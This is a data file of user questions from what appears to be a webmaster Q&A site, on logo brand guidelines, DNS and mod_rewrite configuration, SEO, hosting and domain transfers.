{"id":"54499","title":"Putting altered social media logo icons on my website, can I get sued?","text":"I would say most websites with a somewhat thought-through graphical design use social media icons (i.e Twitter, Facebook, YouTube, etc) which are altered to fit the theme and design of the site. Now, my boss insist we only use the ones provided by say Facebook or Twitter themselves (in fear of getting sued or lose credibility), but sometimes it just doesn't look very good on the site. What is the common practice for these things? What do you risk by using an altered logo? What should I tell my boss? I'll provide a few examples, what'd happen if I put any of these on a site?    "}
{"id":"57309","title":"Are these companies really flouting social-media brand rules?","text":"There are quite stringent guidelines that dictate how we treat logos of various social media sites. So for instance, Facebook has these for their \"f\" logo: https:\/\/www.facebookbrand.com\/guidelines?asset=2&media=1,2,3&platform= and Twitter has these for their logos: https:\/\/about.twitter.com\/press\/brand- assets. By my understanding, if you have an account with any of these services, or you get the logos from the official source, you are forced to agree with their terms that include agreeing to abide by these guidelines. Perhaps the guidelines are enforceable even if you have not aquired the logos by these means though. My question is: How come these guidelines are so often not followed. About.com quite blatantly breaks the guidelines by changing not only the background shape, but colour too. But I see the logos in circles (against the guidelines of at least Facebook and Twitter) very often. So am I misunderstanding the rules, or are people flouting the rules en masse? Some examples: * http:\/\/www.about.com\/ * http:\/\/www.whitehouse.gov\/ * http:\/\/www.sony.com\/"}
{"id":"27623","title":"Custom Facebook connect image - Is it Facebook's policy violation?","text":"I was going to change Facebook's default login button with my custom image like Mashable. I mean like this:  But I found a article which state its against Facebook's policies. Is it really a violation? If it is how come Mashable using custom image? Can someone answer me? ## Update This is the exact image I would like to use.  Facebook mentioned like this in this page. > While you may scale the size to suit your needs, you may not modify the “f” > logo in any other way (such as by changing the design or color). If you are > unable to use the correct colour due to technical limitations, you may > revert to black and white. So my sign in with Facebook image violating Facebook policy in anyway?"}
{"id":"42630","title":"Make all subdomains point to root unless otherwise specified","text":"I'd like all subdomains that aren't being used for anything else to go straight to my domain. ns1.mydomain.com. A 198.123.44.55 ns2.mydomain.com. A 198.123.44.66 *.mydomain.com. CNAME mydomain.com webdisk.blog.mydomain.com. A 198.123.44.55 However, say I have subdomain blog.mydomain.com which I still want to behave as a normal subdomain. I would like the following to happen: mydomain.com --> mydomain.com www.mydomain.com --> mydomain.com abc.mydomain.com --> mydomain.com blog.mydomain.com --> blog.mydomain.com Is this possible?"}
{"id":"42632","title":"Animation of a browser loading page elements?","text":"Some time ago, I recall finding a visual explanation of the order web browsers load specific page elements, and how they stack and fit together. I was recently getting back into some web development and tried to find this again, but to no avail. Anyone have a clue where I might find this?"}
{"id":"16812","title":"Is hushmail a spam source?","text":"I am new so I don't know the history. But why, after I just found out, do all hushmail email users cannot register or log in to the website that I am administering. Is hushmail a spam source? Or any giant bad guy is using hushmail serious enough to block all users who use hushmail? Anyone knows about that? http:\/\/www.hushmail.com\/ looks fine to me"}
{"id":"42491","title":"Why can't my user (author) login from back-end to post article in Joomla","text":"I have just created a new user from my administrator back-end. I have assigned this user to groups like author and publisher. But this user can't seem to login to the admin screen to create articles. I don't want to give this user high privileges. Am I missing something? How can my user do this? BTW, I don't have a login page in the front-end."}
{"id":"12129","title":"SEO - Crawl Errors","text":"I've been optimizing my website for search engines, and for some reason I have a crawl error on a page that has not been found at 'www.peach-designs.com\/a' which is not a page, is not a link, or is not anything on my site. I've checked my code and I'm only left to assume that this is a link to a page (a href, etc.). Is this common for other websites?"}
{"id":"6379","title":"Big specialized complex forms for ordering\/signing up","text":"I sometimes get the offer to create these and it's always a maintenance hell. For example: a print shop wants a form so you can order your print work online. This mostly is a multiple step form where you can pick size, paper, etc and depending on the options you pick you get other options. I can mostly hard code what they want but if they want to change something later it's very cumbersome because you have to change the form, validation and back-end to accommodate the changes. I heard from some clients that they got offers from companies in the past that have specialized systems for this. At first I thought this was a little over kill but since you need a system that can is very flexible I am maybe wrong? So if anybody can give examples, books, websites, videos or any other media on the matter I appreciate it."}
{"id":"54084","title":"How to remove \"Did You Mean:\" from Google Search?","text":"I don't know much more about SEO, but it's interesting to learn about it. When I tried to search my website with an associated keyword or you can say with the exact name of the domain, I got some suggestions by Google. Here's the search. First of all, I don't want to spamming here, I just want prove my question and want to give a hint about what I am talking here. The above link display the _Did You Mean_ , I know the specific reason why Google shows this, but I want to know the Google's guidelines and some guidance by you experts so that if someone search for the particular keyword then Google hide that _Did You Mean_ and display the result."}
{"id":"6375","title":"Single word keywords against 2 or 3 word keywords for SEO","text":"Looking in Google Webmaster tools for my site, the sixth most common keyword is \"life\". This appears a lot because I mention \"artificial life\" and in places \"second life\" in the page text. I want to increase the relevance of this page in terms of the keywords in the text, not as just \"life\" on its own, which as you can see, is far to vague to be of use. How can I increase the ranking of \"artificial life\" as a keyword instead of just \"life\" on my site?"}
{"id":"6377","title":"Are backlink generators helpful?","text":"I will keep my question simple and short.Are backlink generators helpful and should we use them?If not, why?"}
{"id":"39695","title":"mirroring of the website","text":"I have three Shared Hosting Servers (2 Linux Apache and 1 Windows) For my (low traffic) static websites, I want to create mirror server accounts (will keep same contents) for them so I need not to bother if any of the server is down. Load balancing is not needed but need to provide priority to one particular server. The domain registration provider allows me to set the A-records as many as I want but does not allow me to set up any priority among A records. Question: How can it be prioritized ? - (Using any independent service (free)? or using DNS zone settings at servers and setting up long TTLs?) Please note that for E-mail accounts (routing) I have different set up of MX- records."}
{"id":"10143","title":"Testing website with a low CPU ghz","text":"Is there a way to simulate (maybe online) the rendering of a page with a low- end pc? Actually I am testing it with an i7, but I guess not everyone got a quad-core. (ps. without downclocking my pc) Thanks all"}
{"id":"10410","title":"How to discredit hacked links pointing at my company's website","text":"The competition of one of my company's websites has started a really dirty campaign of acquiring hack links. One of their ingenious tactics has been to seed in links to OUR site withing their hack bot, making US look like we might be responsible for it or using us to cover their tail. These are .gov and .edu sites. Is there any way possible to discredit these links? To disavow them at all? EDIT: Penguin has really effected this question, IMO. Does anyone know if there is a revised opinion on disavowing backlinks to your site?"}
{"id":"53359","title":"Which order of the links is important? Visible, or in source code?","text":"I heard that Google bot places weight on links, according to their order in the page. So the first link is higher in importance, relevance etc. Is it true? And if so, I wonder how the \"order\" is determined by Google. I mean, say my source code is like: <a id='a1' href='x'>link1<\/a> <a id='a2' href='y'>link2<\/a> but I styled them (with CSS) so that `link2` appears on top of `link1`. Which link will be of higher importance? My spider-instincts tell me that source code counts, but hearing a lot of things and always trying to \"treat Google like a human being\", I'm in doubt. ## Edit: the second href is y, not x. So links point to different pages. This could cause ambiguity."}
{"id":"9638","title":"Drupal urls from previous setup","text":"What would the best way to setup previous site urls to new Drupal site."}
{"id":"47855","title":"Accessing PHPMyAdmin via URL (without cPanel)","text":"I am having issues accessing PHPMyAdmin from cPanel. It will not allow me to as I am logged in a root. I cannot seem to be able to make another account for cPanel either, and research indicates this is not possible. I thought I could just login directly to a PHPMyAdmin database using a database username and password and URL extension or port number but I cannot find any information on how. Does anyone know the correct way to do this? Thanks!"}
{"id":"63116","title":"Informing Googlebot for deprecated pages","text":"I publish timetables in my website. For example last year I published `Number 2 bus Summer 2013 timetable`. I has pretty good ranking on Google SERPs for `number 2 bus timetable` But this year I added a new page with the name \"Number 2 bus Summer 2014 timetable\". When users search `number 2 bus timetable` in Google, they find 2013 timetable in first page of SERPs. But I want them to find 2014 timetable. Thy can reach 2014 page with the keywords `number 2 bus timetable 2014`. But most of the users doesn't write year name. So what's the proper way to say Googlebot that 2013 page is deprecated and newer version is 2014 page ? I created a link from 2013 page to 2013 page and added a deprecation alert for visitors. But I still see 2013 timetable in first page of Google SERPs. Of course it is possible to 301 redirect, 2013 page to 2014 page. But I want users to reach old pages to compare the differences between years. (As you would guess I have many pages like this.) Edit: Why I don't put timetables on same page and show different years' timetables with sorting. Because my old pages has good pagerank scores or SERPs. Removing these old page will remove them."}
{"id":"9635","title":"Are Web Safe Colors Still Relevant?","text":"I still remember one of my high school teachers lecturing us about the \"web safe colors\". A set of 216-256 colors that you should confine your designs to use, and nothing else besides them. Last I knew, Photoshop still has the \"web safe\" yield icon1 on it's color picker. Are web safe colors still a concern? Outside of the obvious application (accessibility, legacy software versions, etc.), how much consideration should I give to limiting my color choice for my general audience? * * * 1Or was it the cube? I never remember."}
{"id":"49322","title":"Standard Wordpress mod_rewrite rules interacting with one of my own rules are causing all requests for a certain page to be sent to the homepage","text":"I have WordPress 3.5.1 installed on Ubuntu 12.04 LTS. I'm running Apache 2.2.22. **NOTE:** I can't share the domain that I'm working on, and must santize any config files and log outputs. While the website is public, any problems I'm working on in connection to the client cannot be made public. Here is the problem I'm trying to solve: 1. User lands on HTTP site. 2. User goes to `\/order\/` page and is redirected to the same page delivered over HTTPS. 3. User clicks away from the order page, and the resultant URL is HTTPS. For example, say they click on the \"About Us\" link. 4. The resulting HTTPS page loads all sorts of social media wingdings and libraries over HTTP. 5. Warnings assail the visitor: \"This site is not secure and you will surely die a vicious death! _Abort! Abort!_ \" The solution I'm trying to implement is simple: Redirect all HTTP access to the `\/order\/` page to HTTPS. Redirect all HTTPS access to non `\/order\/` pages to HTTP. (Side Note: I'm not using .htaccess files. I'm declaring the rewrite rules in the `<Document>` block in each sites config file.) The website is Wordpress based and is using the standard `mod_rewrite` rules to make pretty URLs. Here is the HTTP vhost's rewrite rules: # Rewrite Rules. Suddenly dragons! RewriteEngine On # Redirect \/order\/ page to HTTPS RewriteCond %{HTTPS} =off RewriteRule ^order\/$ https:\/\/%{HTTP_HOST}%{REQUEST_URI} [R=301,L] # Wordpress Magicks Below RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] And now here's the SSL site's rewrite rules: # Rewrite Rules. Suddenly encrypted dragons! RewriteEngine On # Redirect all non \/order\/ page URLs to HTTP RewriteCond %{HTTPS} =on RewriteCond %{REQUEST_URI} !^\/order\/$ RewriteRule (.*) http:\/\/%{HTTP_HOST}%{REQUEST_URI} [R=301,L] # Wordpress Magicks Below. RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] # The Ugly Result: Every access to `\/orders\/` across HTTP or HTTPS is redirected to the home page over HTTP. The RewriteLog for the SSL vhost shows this ugliness: 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (3) [perdir \/var\/www\/mysite.com\/htdocs\/] add path info postfix: \/var\/www\/mysite.com\/htdocs\/order -> \/var\/www\/mysite.com\/htdocs\/order\/ 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (3) [perdir \/var\/www\/mysite.com\/htdocs\/] strip per-dir prefix: \/var\/www\/mysite.com\/htdocs\/order\/ -> order\/ 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (3) [perdir \/var\/www\/mysite.com\/htdocs\/] applying pattern '(.*)' to uri 'order\/' 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (4) [perdir \/var\/www\/mysite.com\/htdocs\/] RewriteCond: input='on' pattern='=on' => matched 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (4) [perdir \/var\/www\/mysite.com\/htdocs\/] RewriteCond: input='\/order\/' pattern='!^\/order\/$' => not-matched 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (3) [perdir \/var\/www\/mysite.com\/htdocs\/] add path info postfix: \/var\/www\/mysite.com\/htdocs\/order -> \/var\/www\/mysite.com\/htdocs\/order\/ 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (3) [perdir \/var\/www\/mysite.com\/htdocs\/] strip per-dir prefix: \/var\/www\/mysite.com\/htdocs\/order\/ -> order\/ 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (3) [perdir \/var\/www\/mysite.com\/htdocs\/] applying pattern '^index\\.php$' to uri 'order\/' 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (3) [perdir \/var\/www\/mysite.com\/htdocs\/] add path info postfix: \/var\/www\/mysite.com\/htdocs\/order -> \/var\/www\/mysite.com\/htdocs\/order\/ 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (3) [perdir \/var\/www\/mysite.com\/htdocs\/] strip per-dir prefix: \/var\/www\/mysite.com\/htdocs\/order\/ -> order\/ 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (3) [perdir \/var\/www\/mysite.com\/htdocs\/] applying pattern '.' to uri 'order\/' 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (4) [perdir \/var\/www\/mysite.com\/htdocs\/] RewriteCond: input='\/var\/www\/mysite.com\/htdocs\/order' pattern='!-f' => matched 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (4) [perdir \/var\/www\/mysite.com\/htdocs\/] RewriteCond: input='\/var\/www\/mysite.com\/htdocs\/order' pattern='!-d' => matched 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (2) [perdir \/var\/www\/mysite.com\/htdocs\/] rewrite 'order\/' -> 'index.php' 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (3) [perdir \/var\/www\/mysite.com\/htdocs\/] add per-dir prefix: index.php -> \/var\/www\/mysite.com\/htdocs\/index.php 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (2) [perdir \/var\/www\/mysite.com\/htdocs\/] strip document_root prefix: \/var\/www\/mysite.com\/htdocs\/index.php -> \/index.php 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b21380a0\/initial] (1) [perdir \/var\/www\/mysite.com\/htdocs\/] internal redirect with \/index.php [INTERNAL REDIRECT] 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b213a778\/initial\/redir#1] (3) [perdir \/var\/www\/mysite.com\/htdocs\/] strip per-dir prefix: \/var\/www\/mysite.com\/htdocs\/index.php -> index.php 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b213a778\/initial\/redir#1] (3) [perdir \/var\/www\/mysite.com\/htdocs\/] applying pattern '(.*)' to uri 'index.php' 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b213a778\/initial\/redir#1] (4) [perdir \/var\/www\/mysite.com\/htdocs\/] RewriteCond: input='on' pattern='=on' => matched 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b213a778\/initial\/redir#1] (4) [perdir \/var\/www\/mysite.com\/htdocs\/] RewriteCond: input='\/index.php' pattern='!^\/order\/$' => matched 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b213a778\/initial\/redir#1] (2) [perdir \/var\/www\/mysite.com\/htdocs\/] rewrite 'index.php' -> 'http:\/\/mysite.com\/index.php' 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b213a778\/initial\/redir#1] (2) [perdir \/var\/www\/mysite.com\/htdocs\/] explicitly forcing redirect with http:\/\/mysite.com\/index.php 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b213a778\/initial\/redir#1] (1) [perdir \/var\/www\/mysite.com\/htdocs\/] escaping http:\/\/mysite.com\/index.php for redirect 68.231.66.6 - - [06\/Jun\/2013:16:37:42 --0700] [mysite.com\/sid#7f67b220e020][rid#7f67b213a778\/initial\/redir#1] (1) [perdir \/var\/www\/mysite.com\/htdocs\/] redirect to http:\/\/mysite.com\/index.php [REDIRECT\/301] I'll truncate the logs to the important bits, and comment on them: RewriteCond: input='on' pattern='=on' => matched #HTTPS is on, so that pattern matches RewriteCond: input='\/order\/' pattern='!^\/order\/$' => not-matched #It *is* the order page, so the negative match isn't a match add path info postfix: \/var\/www\/mysite.com\/htdocs\/order -> \/var\/www\/mysite.com\/htdocs\/order\/ strip per-dir prefix: \/var\/www\/mysite.com\/htdocs\/order\/ -> order\/ applying pattern '^index\\.php$' to uri 'order\/' # Wordpress pretty URLs are applied add path info postfix: \/var\/www\/mysite.com\/htdocs\/order -> \/var\/www\/mysite.com\/htdocs\/order\/ strip per-dir prefix: \/var\/www\/mysite.com\/htdocs\/order\/ -> order\/ applying pattern '.' to uri 'order\/' RewriteCond: input='\/var\/www\/mysite.com\/htdocs\/order' pattern='!-f' => matched RewriteCond: input='\/var\/www\/mysite.com\/htdocs\/order' pattern='!-d' => matched rewrite 'order\/' -> 'index.php' # I... wait... NOOOOO!! And we're sent back to the home page. The biggest problem here is that I'm not familiar enough with `mod_rewrite` or regex to know _why_ this is happening exactly and how to remedy it. Can someone beat me with a clue bat?"}
{"id":"58981","title":"Social Referral - Weebly","text":"I'm getting a lot of my social referrals from \"weebly\" which is not a social media site. Also the number of new users is zero. I'm guessing this is myself. My question: Why does GA count Weebly as a social site?"}
{"id":"32444","title":"Securing\/running a server","text":"I have recently moved from a shared hosting account at hostgator to the rackspace cloud. I have never utilized a server directly before, so have found it somewhat hard to setup the server for my purposes. I have finally got there, and got ftp, phpmyadmin etc setup such that it essentially works the same way that my previous shared hosting account worked. I am developing some websites for a commercial release, and I expect they will grow quite quickly. Given this I want to mae sure my server is secure, and fully understand my requirements and how\/when they need to be upgraded and why. For example I am hosting the database on the same instance as my files.. is this correct? Essentially I am looking for some guidance on where i can develop my knowledge to a sufficient level that i can manage my servers.. given that programming is really my area.. Thanks"}
{"id":"33070","title":"Site violates Google's quality guidelines - Can't figure out why","text":"I am at a loss! Our website has been delisted due to \"Site violates Google's quality guidelines\" and \"We've reviewed your site and we still see links to your site that violate our quality guidelines. Specifically, look for possibly artificial or unnatural links pointing to your site that could be intended to manipulate PageRank.\". After months of cleaning up backlinks and jumping through hoops, we re- submitted and have yet again been knocked back. HOW can I identify which links Google is penalising us for? Is there some sort of tool that can provide hints as to which links I should review?"}
{"id":"8942","title":"Force www. on multi domain site and retain http or https","text":"I am using CakePHP which already contains an `.htaccess` file that looks like: <IfModule mod_rewrite.c> RewriteEngine on RewriteRule ^$ app\/webroot\/ [L] RewriteRule (.*) app\/webroot\/$1 [L] <\/IfModule> I want to force `www.` (unless it is a subdomain) to avoid duplicate content penalties. It needs to retain `http` or `https` Also This application will have multiple domains pointing to it. So the code needs to be able to work with any domain."}
{"id":"37559","title":"HTML5 article tag application for the iPad\/iPhone","text":"I've used article tags on websites. My understanding and practice is to use the article tag for publication content. I always use HTML\/HTML5 tags as their intended purposes and not at will. Recently, I've seen an HTML template that uses the article tag for the non- publication page content such as the content of an About Us page or any other generic page. I asked the why it was used this way and the (vague) explanation was that it had to do with the way the iPad read the tag. Is this true?"}
{"id":"8944","title":"Software with a blog, CMS and a forum all-in-one?","text":"Requirements: * PHP (5+ Preferably) * MySQL (5+ Preferably) * Apache (2+ Preferably)"}
{"id":"28107","title":"Cost of using SSL","text":"I am wondering on the cost of using SSL sitewide. It would be for a standard LAMP site. I know that this will be dependent on the many factors but, can some give me an 'average' or 'guesstimate!'. By cost I mean server load. So in a super simple average scenario if: x = w\/o SSL y = With SSL an estimate on y in terms of x?"}
{"id":"8948","title":"Looking for a package allowing user-entered profiles","text":"Title was a little hard to work, but take this as an example. User goes to site, creates account, and then has his\/her own profile to edit. Let's say the profile includes height, weight, sex, eye color, etc.. I've really only used wordpress before, but I'm sure something else would cater to this better. The entire site is focused around a person having their own profile page with the info they supply. Thanks!"}
{"id":"45319","title":"detailed access statistics for audio files","text":"We have an external hosting company for our video files. They provide us with detailed access statistics e.g. The duration how long how many people have seen a specific video. This is quite interesting because you can see how interesting a topic was or how fast people have switched off the video. Unfortunately they do only video hosting and not the hosting of audio files. With the limited bandwidth need for audio we could also host it on our own servers. But there is by far not that good access statistic like we have for video. I have googled quite a lot but did not find anything similar to what I saw about the video access statistics. Of course when I just provide a link to the mp3 file I can see only one line in my apache log file. Are there other solutions e.g. with a dedicated player that sends back some feedback about each second\/10 seconds\/minute that the user was listening to? Or any other idea? Am I right with my question at this Site \"Pro Webmasters\"? Thanks for any kind of feedback to this topic. I highly appreciate it."}
{"id":"18853","title":"Set expiry date for image or resource","text":"How do I set expiry date for an image? Is this a server side operation or can it be done as an html tag attribute? What if I only want to set different expiry dates for different images\/resources?"}
{"id":"58433","title":"How do VMs in the Cloud work?","text":"I have been exploring moving some of my high traffic sites to the HPCloud over the past few days. While I have a general grasp of the idea behind a VM in the cloud there are things that are not quite clear to me. Here for instance is one thing I find myself wondering about: If I host a site on a server in the cloud do I have an automatic guarantee that attempts to access that site will be served up from an instance of the VM in the geographic vicinity - with one being spun up if none is deemed to be \"nearby\"? If the answer is \"yes\" then the next question that follows is - will the cloud infrastructure also deal with the process of running PHP scripts on each VM instance? And now about databases - will it be up to me to ensure that I connect to a fixed instance of the database server (mySQL in my case) or is it better to rely on one of the \"cloud database\" offerings that appear to make this process transparent. I suspect that my questions are perhaps a bit naive - I don't know much about hosting in the cloud."}
{"id":"59396","title":"How do I categorize my website (domain)?","text":"I recently purchased a domain and created the website. I found that this belongs to \"None\" category and so found blocked in cyberoam firewall.  I tried with all possible meta tags at index.html. But any content from this domain is blocked (otherwise can say categorized NONE). The image's url is also blocked * * * In Godaddy I can find only \"Auto-Renew, Lock, Nameservers, Forwarding, Premium DNS, DS Records, Host Names, Authorization Code\" features to customize. And Some Upgrade features like \"Privacy, Domain Ownership Protection, Certified Domain , Premium Listing, CashParking, GoDaddy Auctions, SSL Certificate, Business Registration, Domain Appraisal\". Please help me where \/ how to categorize my domain as \"Personal\"? Is anything needs to be changed in robots.txt?"}
{"id":"32440","title":"Using list vs div for gallery like items display","text":"I'm making a webpage for the company i'm working in, and I've been tasked with creating two display for items in content (it's a search result display page): Gallery and List. The thing is that I've used divs, but seen in Google images that they're using unordered list for displaying results. I'd like to know if there's any advantage of using list instead of divs like I did. Thanks a lot. Demo: http:\/\/jsfiddle.net\/USX34\/ Expand the HTML result so you can see clearer. Thanks a lot. PS: I have posted question here but I'm not certainly sure that it's the right place, but I think it will be closed if posted i"}
{"id":"62865","title":"How does Popup dialog affects the Bounce Rate?","text":"Suppose a user lands on a particular page on your website from Search results and as soon as he lands he is shown a link which opens a modal dialog box or some window popup(formed from another url of the same website where user landed from search engine) and he clicks on the link. Will this cause an increase in bounce rate. What i mean to ask is if Google sees bounce rate as rate of users left from the landing page to some other website or it even considers the users going to other page of the same website ?"}
{"id":"48542","title":"If H1 tags are not used for page titles, what is the impact on SEO?","text":"I'm wondering what kind of effect will be witnessed on SEO if, say, a `div` was used rather than an `h1` tag for page titles. I imagine it would be very frustrating for screen readers and wouldn't give crawlers any guidance as to what the page is about, but I'd like to know exactly how negative this is."}
{"id":"26978","title":"Why is a domain transfer taking \"days\" of time?","text":"1. What exactly is happening during a domain transfer? - what is the underlying mechanism 2. In how many places the information is updated?"}
{"id":"49419","title":"Is <span> inside <h1> the same as just <h1> for search engines?","text":"Are search engines still able to recognize the below as `<h1>` text, even with the other tags inside? <h1><span>App<\/span>Strap<span>.<\/span><\/h1>"}
{"id":"1991","title":"Status of Crawlable Ajax?","text":"I saw that Google had a nice proposal\/standard for making Ajax applications crawlable, via #! (hash bang). http:\/\/googlewebmastercentral.blogspot.com\/2009\/10\/proposal-for-making-ajax- crawlable.html My questions are: * Are they currently using this \"proposal\" in the real world already? * Are other search engines -- Bing specifically, also using or planning on using it?"}
{"id":"3205","title":"Can you use Google's Mobile Analytics API for non-mobile sites?","text":"While doing research for one of my company's mobile sites, I discovered that Google has provided an entire **serverside** API for mobile analytics. Meaning that it doesn't require javascript and that the tracking is done immediately, because the pagetracker .gif URI is constructed on your server and called straightaway from Google. My question is, What prevents me from using this across my ENTIRE site, mobile AND desktop?"}
{"id":"1992","title":"Bandwidth heavy site... use co-location?","text":"I'm working on a web site that is likely to be very bandwidth-heavy. A major feature of the site when in active use can pull up to 1Mbps for a single session. Luckily, once users get over the new toy factor, the use of this feature will probably be 1-5% or less (probably much less) of session time. However, new users are likely to play with this feature a good bit, especially at launch. I'm very concerned about bandwidth use. This is more or less a niche market, so I won't ever be needing to scale to crazy levels like YouTube. However, it is entirely possible for it to be a couple terabytes\/month. Is co-location my best option? What cheap bandwidth services (colocation\/hosted\/cloud\/whatever) are out there?"}
{"id":"47954","title":"Google AdWords have flagged my site as containing malware","text":"However, there Webmaster Tools does not - and never has. And we have never had a message via Webmaster Tools or Analytics that we have malware. To quote Google: > [The Malware Team] have looked at the most recent scan and have found that > your site is not actually clean. You are using a redirect on your landing > page which is the site that is causing the problem. And then I am advised to: > Check your site request logs to find the bad domain and resolve the issue. What should I look for in my request logs, has anyone else experienced a similar situation? Obviously as far as I am aware we have no malware, we had a couple of redirects in htaccess but they were not on landing\/homepage and have were just normal redirects that have not caused a problem elsewhere (and are now removed). It's a WordPress site."}
{"id":"3201","title":"Broken URL Finder?","text":"Is there a broken-URL finder application that I could use to scan a website for broken links? (A Mac application would be better.)"}
{"id":"47955","title":"optimize htaccess","text":"I have two condition which are conflict RewriteRule ^patients\/findadoctor\/(.*)\\.html$ subcategorydoctor.php?id=$1 [L,NC] and RewriteRule ^patients\/findadoctor\/(.*)\\.html$ specilitydoctor.php?id=$1 [L,NC] How do I set condition for that? I am doing: RewriteCond %{REQUEST_URI} ^\/patients\/findadoctor\/radiationoncology\\.html$ [OR] RewriteCond %{REQUEST_URI} ^\/patients\/findadoctor\/paediatricsurgery\\.html$ [OR] RewriteCond %{REQUEST_URI} ^\/patients\/findadoctor\/generalsurgery\\.html$ [OR] RewriteCond %{REQUEST_URI} ^\/patients\/findadoctor\/neurosurgery\\.html$ [OR] RewriteCond %{REQUEST_URI} ^\/patients\/findadoctor\/neurology\\.html$ [OR] RewriteCond %{REQUEST_URI} ^\/patients\/findadoctor\/paediatrics\\.html$ [OR] RewriteCond %{REQUEST_URI} ^\/patients\/findadoctor\/paediatriccardiology\\.html$ [OR] RewriteCond %{REQUEST_URI} ^\/patients\/findadoctor\/paediatriccardiacanaesthesiology\\.html$ [OR] RewriteCond %{REQUEST_URI} ^\/patients\/findadoctor\/paediatriccardiovascularthoracicsurgery\\.html$ [OR] RewriteCond %{REQUEST_URI} ^\/patients\/findadoctor\/bonemarrowtransplant\\.html$ [OR] RewriteCond %{REQUEST_URI} ^\/patients\/findadoctor\/kidneytransplant\\.html$ [OR] RewriteCond %{REQUEST_URI} ^\/patients\/findadoctor\/cardiacanaesthesiology\\.html$ RewriteRule ^patients\/findadoctor\/(.*)\\.html$ subcategorydoctor.php?id=$1 [L,NC]"}
{"id":"20211","title":"SEO (or other) problems with a 404?","text":"I am a member of a writing website called HubPages. We are each given a subdomain on which to write articles and are also given access to Google Webmaster Tools for our subdomain. Upon checking out my stats in Webmaster Tools, I see that Google is running into some 404 errors for two reasons: * I took down an article * Google (or someone) got the url totally wrong. I am essentially getting view-only access for webmaster tools (HubPages must have set it up to allow view only so that a user doesn't mess things up) so I can't submit a url removal request to Google. Could this be hurting the SEO for my subdomain? If not, are there other problems that could occur for me or for HubPages by leaving these URLs as is and not submitting a removal request? Should HubPages be submitting url removal requests to Google for dead or incorrect urls?"}
{"id":"34771","title":"Does hiding images on 404 error affect SEO?","text":"> **Possible Duplicate:** > SEO (or other) problems with a 404? I have a dynamic website that allows registered users to upload and display images on the their profile page. As each user may upload less than the maximum limit of 20 images, there would be some \"empty\" images on the page. I am using javascript to hide these empty images. The loading of the profile page would generate a series of 404 errors depending on the number of empty images. Would these 404 errors affect the SEO of the page and the website?"}
{"id":"3208","title":"Domain transfer + Microsoft exchange","text":"I have a client who has their domain name registered through Network Solutions and their site hosted at GoDaddy. I checked at GoDaddy and they're not hosting the email accounts, so I asked the client and all they could tell me is they have Exchange. I'm trying to transfer the domain and hosting to a new host, but I don't want to mess up their email addresses at all. Since GoDaddy is not hosting the email and it's through exchange, will I be okay just transferring it, or will I need to do something with exchange to point to the new ip\/nameservers\/etc?"}
{"id":"45063","title":"Should I depaginate my webpages? What is the best usability?","text":"My website is mostly a collection of things I've written, ranging from short to long; the very shortest are a large screenful and the very longest are the length of a short book. Most of the longer ones are broken into pages. One Alertbox column said basically that pagination was very common practice, but it's better to have all of one logical page located on that one single page. Basically I wanted to get a usability and other purposes suggestion on whether I should depaginate works so that they are one single page, and redirect the other pages to the combined page. If it's a judgment call, what are the pro's and con's?"}
